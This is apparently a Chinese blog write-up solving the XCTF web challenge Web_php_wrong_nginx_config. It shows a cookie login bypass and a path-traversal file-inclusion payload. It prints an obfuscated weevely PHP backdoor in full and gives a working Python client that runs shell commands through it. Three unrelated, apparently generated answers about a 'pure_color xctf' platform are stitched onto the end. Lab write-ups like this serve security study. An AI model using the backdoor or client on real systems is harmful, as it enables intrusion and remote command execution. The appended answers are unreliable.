xctf攻防世界 Web高手进阶区 Web_php_wrong_nginx_config

这题做着也太难了,整理一部分,后面再继续吧,思考良久,能力不足!

1. 进入环境,查看内容

在这里插入图片描述
乍一看,感觉像是注入问题,admin一顿测试,网页建设中,好吧,掏出dirsearch一顿扫描,如图:
在这里插入图片描述
在这里插入图片描述
发现/robots.txt可以访问,戳进去思考。

2. 问题分析

  1. 访问/robots.txt,查看内容,如图:
    在这里插入图片描述

也就是说有一个提示和一个入侵,我们打开提示页面,如图:
在这里插入图片描述
意思是Nginx配置文件是解题关键
接着再访问Hack.php,死活让你登录,如图:
在这里插入图片描述

  1. 没辙,尝试burpsuite抓包
    此处我还不太会用burpsuite边修改包边打开,于是详细记录一下,打开如图:
    在这里插入图片描述
    点击openbrowser,输入链接:http://111.200.241.244:65037/Hack.php,如图:
    在这里插入图片描述
    点击foward,出现如图界面:
    在这里插入图片描述
    我们将cookie的isLogin状态修改为1,再点击forward,浏览器出来结果了,如图:
    在这里插入图片描述
    注意,参考网上大神的wp,发现管理中心的链接戳进去后,URL是有变化,如图:
    在这里插入图片描述
    注意:每一次点击浏览器的内容,都需要修改isLogin的值为1,并继续点击forward才能看到。(我捉摸了一下午才研究出来,都怪自己的工具用的不熟悉)

  2. URL带来的猜想
    参考wp,还有传送门
    说是/admin/admin.php?file=index&ext=php 这里有个file 这里多半是文件包含的知识点,我懵逼ing,于是查阅相关博客:

如何检测是否是文件包含?可能是过滤了 …/ 那我们测试一下
/admin/admin.php?file=i…/ndex&ext=php
如图:
在这里插入图片描述
当使用i./ndex时候,效果如图:
在这里插入图片描述
please continue消失了。。。也就是说确实有文件包含。于是根据hint的内容,构造paylaod:

/admin/admin.php?file=..././..././..././..././/etc/nginx/sites-enabled/site.conf&ext= 

(真的好令人头疼,我已经精疲力竭,谁能给我解释一下为什么这么做。。。)
效果如图:
在这里插入图片描述
神奇的蹦出来了nginx的配置信息

  1. 配置中的思维点
location /web-img {
   alias /images/;
   autoindex on;
}

这个地方意思是/web-img路径可以访问到文件,或者用别名/images也可以访问,但是实测/images/被禁止了,效果如图:
在这里插入图片描述

戳…/提示要登录,此处采用…/访问去便利文件夹,如图:
在这里插入图片描述
去,/var/www/中找到hack.php.bak,这是需要用的东西。(为什么,我也不知道,懵逼jpg)如图:
在这里插入图片描述
下载下来文件。努力了一下午,来个分割线,脑子疼,明天再继续战斗吧,好累


  1. 继续啃吧
    打开下载的hack.php.bak文件,vscode呈现出一堆乱码:
<?php
$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
$z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
$k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';
$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
$g=create_function('',$f);
$g();
?>

这破玩意核心在于$f,也就是执行完replace函数后会有新的代码,在末尾加上echo $f;我们将上述代码运行一下,结果如下:

$kh="42f7";
$kf="e9ac";
function x($t,$k) {
	$c=strlen($k);
	$l=strlen($t);
	$o="";
	for ($i=0;$i<$l;) {
		for ($j=0;($j<$c&&$i<$l);$j++,$i++) {
			$o.=$t{$i}^$k{$j};
		}
	}
	return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra) {
	$u=parse_url($rr);
	parse_str($u["query"],$q);
	$q=array_values($q);
	preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
	if($q&&$m) {
		@session_start();
		$s=&$_SESSION;
		$ss="substr";
		$sl="strtolower";
		$i=$m[1][0].$m[1][1];
		$h=$sl($ss(md5($i.$kh),0,3));
		$f=$sl($ss(md5($i.$kf),0,3));
		$p="";
		for ($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];
		if(strpos($p,$h)===0) {
			$s[$i]="";
			$p=$ss($p,3);
		}
		if(array_key_exists($i,$s)) {
			$s[$i].=$p;
			$e=strpos($s[$i],$f);
			if($e) {
				$k=$kh.$kf;
				ob_start();
				@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
				$o=ob_get_contents();
				ob_end_clean();
				$d=base64_encode(x(gzcompress($o),$k));
				print("<$k>$d</$k>");
				@session_destroy();
			}
		}
	}
}
  1. 分析代码,看不懂,看大神wp吧
    https://phuker.github.io/weevely-backdoor-code-analysis.html
    啃不动代码哎,感觉好难。。。这一步最艰辛,也很无力,回头看吧
# encoding: utf-8
# 注意修改 url , keyh , keyf 等参数

from random import randint,choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re

# 用于生成完整的 Accept-Language
def choicePart(seq,amount):
    length = len(seq)
    if length == 0 or length < amount:
        print 'Error Input'
        return None
    result = []    # 结果
    indexes = []    # 索引
    count = 0
    while count < amount:
        i = randint(0,length-1)
        if not i in indexes:
            indexes.append(i)
            result.append(seq[i])
            count += 1
            if count == amount:
                return result

# 生成随机填充字符串( 由所有 ASCII 字符组成 , 包括不可读的字符 )
def randBytesFlow(amount):
    result = ''
    for i in xrange(amount):
        result += chr(randint(0,255))
    return  result

# 生成随机填充字符串( 由所有大小写字母组成 )
def randAlpha(amount):
    result = ''
    for i in xrange(amount):
        # choice() 方法返回一个列表,元组或字符串的随机项
        # string.ascii_letters 会生成所有的字母
        result += choice(string.ascii_letters)
    return result

# 模拟 x() 函数 , 循环异或加密
def loopXor(text,key):
    result = ''
    lenKey = len(key)
    lenTxt = len(text)
    iTxt = 0
    while iTxt < lenTxt:
        iKey = 0
        while iTxt<lenTxt and iKey<lenKey:
            result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
            iTxt += 1
            iKey += 1
    return result

# 开启 Debug 选项
def debugPrint(msg):
    if debugging:
        print msg

# 定义基本变量
debugging = False    # 默认关闭 Debug , 可用 True 开启
keyh = "42f7"    # $kh , 需要修改
keyf = "e9ac"    # $kf , 需要修改
xorKey = keyh + keyf    # $k
url = 'http://220.249.52.133:35099/hack.php'    # 指定 URL  , 需要修改
defaultLang = 'zh-CN'    #默认Language
languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d']    #Accept-Language 模板
proxies = None    # {'http':'http://127.0.0.1:8080'} # 代理 , 可用于 BurpSuite 等
sess = requests.Session()    # 创建一个 SESSION 对象

# 每次会话会产生一次随机的 Accept-Language
langTmp = choicePart(languages,3)    # 输出一个列表 , 包含模板中的三种 Accept-language
indexes = sorted(choicePart(range(1,10),3), reverse=True)    # 降序排序输出三个权重值 , 例如 [8,6,4]

acceptLang = [defaultLang]   # 先添加默认Language
for i in xrange(3):
    acceptLang.append(langTmp[i] % (indexes[i],))    # 然后循环添加三种 Accept-Language , 并为其添加权重值
acceptLangStr = ','.join(acceptLang)    # 将多个 Accept-Language 用 " , " 拼接在一起
# acceptLangStr 即为要使用的 Accept-Language
debugPrint(acceptLangStr)

init2Char = acceptLang[0][0] + acceptLang[1][0]    # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]    # $h
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8))    # $f + 填充字符串
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))

# 交互式 Shell
cmd = "system('" + raw_input('shell > ') + "');"
while cmd != '':
    # 在写入 Payload 前填充一些无关数据
    query = []
    for i in xrange(max(indexes)+1+randint(0,2)):
        key = randAlpha(randint(3,6))
        value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))
        query.append((key, value))    # 生成无关数据并填充
    debugPrint('Before insert payload:')
    debugPrint(query)
    debugPrint(urllib.urlencode(query))

    # 对 Payload 进行加密
    payload = zlib.compress(cmd)    # gzcompress 操作
    payload = loopXor(payload,xorKey)    # 循环异或运算 , PHP代码中的 x() 函数
    payload = base64.urlsafe_b64encode(payload)    # base64_encode 编码
    payload = md5head + payload    #    在开头补全$h

    #  对Payload进行修改
    cutIndex = randint(2,len(payload)-3)
    payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
    iPiece = 0
    for i in indexes:
        query[i] = (query[i][0],payloadPieces[iPiece])
        iPiece += 1
    # 将 Payload 作为查询字符串编码拼接到 Referer 中
    referer = url + '?' + urllib.urlencode(query)
    debugPrint('After insert payload, referer is:')
    debugPrint(query)
    debugPrint(referer)

    # 发送 HTTP GET 请求
    r = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)
    html = r.text
    debugPrint(html)

    # 接收响应数据包
    pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey))
    output = pattern.findall(html)
    # 如果没有收到响应数据包
    if len(output) == 0:
        print 'Error,  no backdoor response'
        cmd = "system('" + raw_input('shell > ') + "');"
        continue
    # 如果收到响应数据包 , 则对其进行处理
    output = output[0]
    debugPrint(output)
    output = output.decode('base64')    # base64_decode 解码
    output = loopXor(output,xorKey)    # 循环异或运算
    output = zlib.decompress(output)   # gzuncompress 运算
    print output    # 输出响应信息
    cmd = "system('" + raw_input('shell > ') + "');"

代码放到Python2里面去运行,注意修改里面的url信息,结果如图:
在这里插入图片描述
ctf{a57b3698-eeae-48c0-a669-bafe3213568c}

3. 总结

懒得总结了,不会的太多,这个题超出能力范围,做到最后挺难受的,长路漫漫,继续努力吧!

### 回答1: pure_color xctf是一个CTF比赛平台,致力于举办和推广网络安全竞赛。 pure_color xctf的目标是为安全爱好者和专业人士提供一个学习、切磋和交流的平台。这个平台上举办的比赛覆盖了各种网络安全领域,包括但不限于网络攻防、密码学、逆向工程等。通过参与这些比赛,参赛者可以提升自己的技能,了解最新的安全威胁和攻击技术,锻炼解决问题的能力。 pure_color xctf的比赛模式多样,可以是个人或团队参与。参赛者需要在限定的时间内完成一系列的题目,这些题目可能包含漏洞分析、编程挑战、数据分析等。比赛过程中,参赛者需要运用各种技术手段,如渗透测试、代码审计、漏洞利用等,解决题目的要求。参赛者不仅需要具备网络安全相关的知识,还需要具备良好的团队合作和解决问题的能力。 此外,pure_color xctf也为参赛者提供了一个交流平台。比赛期间,参赛者可以在平台上与其他选手交流经验、讨论解题思路。参赛者也可以通过竞赛结果来评估自己的能力,并与其他选手进行切磋比拼。 总之,pure_color xctf是一个举办网络安全竞赛的平台,旨在为安全爱好者和专业人士提供学习和交流的机会,促进网络安全技术的发展。 ### 回答2: pure_color xctf 是一项竞技性的网络安全挑战赛。XCCTF 是全球知名的网络安全竞赛组织之一,而 pure_color 是该竞赛组织内的一项赛事。该赛事旨在提升参赛者的网络安全技能和知识,让他们在一个仿真的网络环境中进行攻防对抗。 在 pure_color xctf 中,参赛队伍将根据题目要求进行网络攻击和防御。这些题目有不同的难度级别,并涵盖了各种不同的网络安全技术和攻击类型。参赛队伍将需要利用他们的知识和技能,像真实的黑客一样去攻击系统漏洞,获取目标系统内的敏感信息或是直接控制目标系统。同时,他们也需要通过搭建防御策略和系统来保护自己的系统免受攻击。 pure_color xctf 不仅仅是一个交流学习的平台,也是一个展示能力的舞台。优胜的参赛队伍将会被邀请参加更高级别的网络安全竞赛和会议,进一步提升他们的技能并扩展职业网络。此外,pure_color xctf 也为参赛者提供了一个找到职业机会的平台,很多安全公司和组织会在赛事期间招聘优秀的选手。 总而言之,pure_color xctf 是一个有挑战性的网络安全竞赛,旨在通过攻击和防御对抗提升参赛者的技能,并为他们提供职业发展和展示的机会。同时,这个赛事也在促进网络安全领域的交流和合作,为提升整个网络安全行业的水平做出贡献。 ### 回答3: pure_color xctf 是一个CTF(Capture The Flag,夺旗赛)竞赛平台。CTF是一种网络安全竞赛,旨在让参赛者通过解决一系列的密码学、逆向工程、漏洞利用等问题来获取旗标,比赛者可以通过这些旗标来获取积分并竞争排名。 pure_color xctf 平台是一个为CTF竞赛提供的一个在线环境,类似于一个实验室,用于举办CTF比赛。在这个平台上,参赛者可以注册账号并加入已经发布的CTF赛事中。赛事中的题目被分为不同的难度级别,涵盖了各种安全领域的知识。参赛者需要通过解决题目中的任务来获取旗标,并将其提交到平台上进行验证。在比赛结束后,将根据参赛者解决的题目数量、用时、积分等因素来计算最终排名,并颁发奖励给获胜者。 pure_color xctf 提供了逼真的仿真环境,使得参赛者能够在一个安全的网络环境下进行实时的攻防演练。平台上的题目多样化且具有挑战性,旨在让参赛者将所学的理论知识应用到实际场景中去,并培养解决问题和团队合作的能力。同时,pure_color xctf 还为参赛者提供了交流平台,方便他们在比赛过程中与其他参赛者交流经验、技巧以及解题思路。 总之,pure_color xctf 是一个提供CTF竞赛平台的在线环境,旨在鼓励参赛者在安全领域中深入学习和实践,并通过解决各种挑战赛题目来提升技能和知识水平。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

l8947943

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值